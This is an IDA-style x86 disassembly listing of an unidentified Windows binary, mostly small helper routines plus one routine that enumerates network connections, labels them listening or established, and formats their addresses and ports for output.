		push	esi
		mov	esi, ecx
		call	sub_401771
		test	byte ptr [esp+8], 1
		jz	short loc_418BC8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_418BC8:				; CODE XREF: ___:00418BBDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F0AC
		add	ecx, 4
		jmp	sub_401023
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C00	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C5A


loc_418C18:				; CODE XREF: sub_418C00+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C18
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C5A:				; CODE XREF: sub_418C00+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C90	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418C90	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CB0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D0A


loc_418CC8:				; CODE XREF: sub_418CB0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CC8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D0A:				; CODE XREF: sub_418CB0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CB0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D40	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D40	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D55
		mov	edi, esi


loc_418D55:				; CODE XREF: ___:00418D51j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D6A
		mov	edi, esi


loc_418D6A:				; CODE XREF: ___:00418D66j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D90	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418D90	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DB0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DD0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DF0	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418DF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E10	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E40	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E70	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F30	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F30	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F80	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419040	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419060	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419060	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419090	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_419090	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190B0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190D0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419100	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419120	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419140	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419140	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191A0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F0AC
		call	sub_437AEA
sub_4191A0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41920D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41920D:				; CODE XREF: ___:004191EFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419260	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419260	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_419300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4196B8
		push	ebp
		push	edi
		mov	edi, 1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		xor	ebp, ebp
		mov	ecx, eax
		mov	[esp+2B4h+var_4], ebp
		call	sub_40168B
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		push	offset dword_444D68
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], edi
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4193C5
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_4193DB
; ---------------------------------------------------------------------------


loc_4193C5:				; CODE XREF: sub_419300+B9j
		push	offset dword_444D64
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4193DB
		mov	[esp+2B4h+var_2A0], edi


loc_4193DB:				; CODE XREF: sub_419300+C3j
					; sub_419300+D5j
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D58
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_41946A
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D58
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_41946A
		mov	ecx, [ebx+32h]
		push	offset off_444D54
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41969E


loc_41946A:				; CODE XREF: sub_419300+135j
					; sub_419300+14Dj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419694
		lea	ebp, [esi+14h]


loc_4194A6:				; CODE XREF: sub_419300+38Ej
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_4194BA
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41967E


loc_4194BA:				; CODE XREF: sub_419300+1AAj
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_41951E
		sub	eax, 3
		jnz	short loc_419544
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_419527
; ---------------------------------------------------------------------------


loc_41951E:				; CODE XREF: sub_419300+20Cj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_419527:				; CODE XREF: sub_419300+21Cj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_419544:				; CODE XREF: sub_419300+211j
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_41956A
		xor	ebx, ebx


loc_41956A:				; CODE XREF: sub_419300+266j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 2
		test	bx, bx
		jnz	short loc_419600
		cmp	eax, 1
		jz	loc_419665
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195F3
		cmp	eax, esi
		jnz	short loc_419665


loc_4195F3:				; CODE XREF: sub_419300+2EDj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_419626
; ---------------------------------------------------------------------------


loc_419600:				; CODE XREF: sub_419300+2D9j
		cmp	eax, 2
		jz	short loc_419665
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_419614
		cmp	eax, edi
		jnz	short loc_419665


loc_419614:				; CODE XREF: sub_419300+30Ej
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_419626:				; CODE XREF: sub_419300+2FEj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419665:				; CODE XREF: sub_419300+2DEj
					; sub_419300+2F1j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 1
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41967E:				; CODE XREF: sub_419300+1B4j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_4194A6


loc_419694:				; CODE XREF: sub_419300+19Dj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41969E:				; CODE XREF: sub_419300+164j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_4196BA
; ---------------------------------------------------------------------------


loc_4196B8:				; CODE XREF: sub_419300+3Dj
		mov	al, 1


loc_4196BA:				; CODE XREF: sub_419300+3B6j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4197E0	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_4198A0
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41986E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41986E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_4198A0
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41986E:				; CODE XREF: sub_4197E0+5Aj
					; sub_4197E0+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_4198A0
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_4198A0:				; CODE XREF: sub_4197E0+52j
					; sub_4197E0+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_4197E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198F0	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_4198F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_4198F0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_41993E
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41993E:				; CODE XREF: ___:00419921j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419980	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419980	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27D09E8h
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


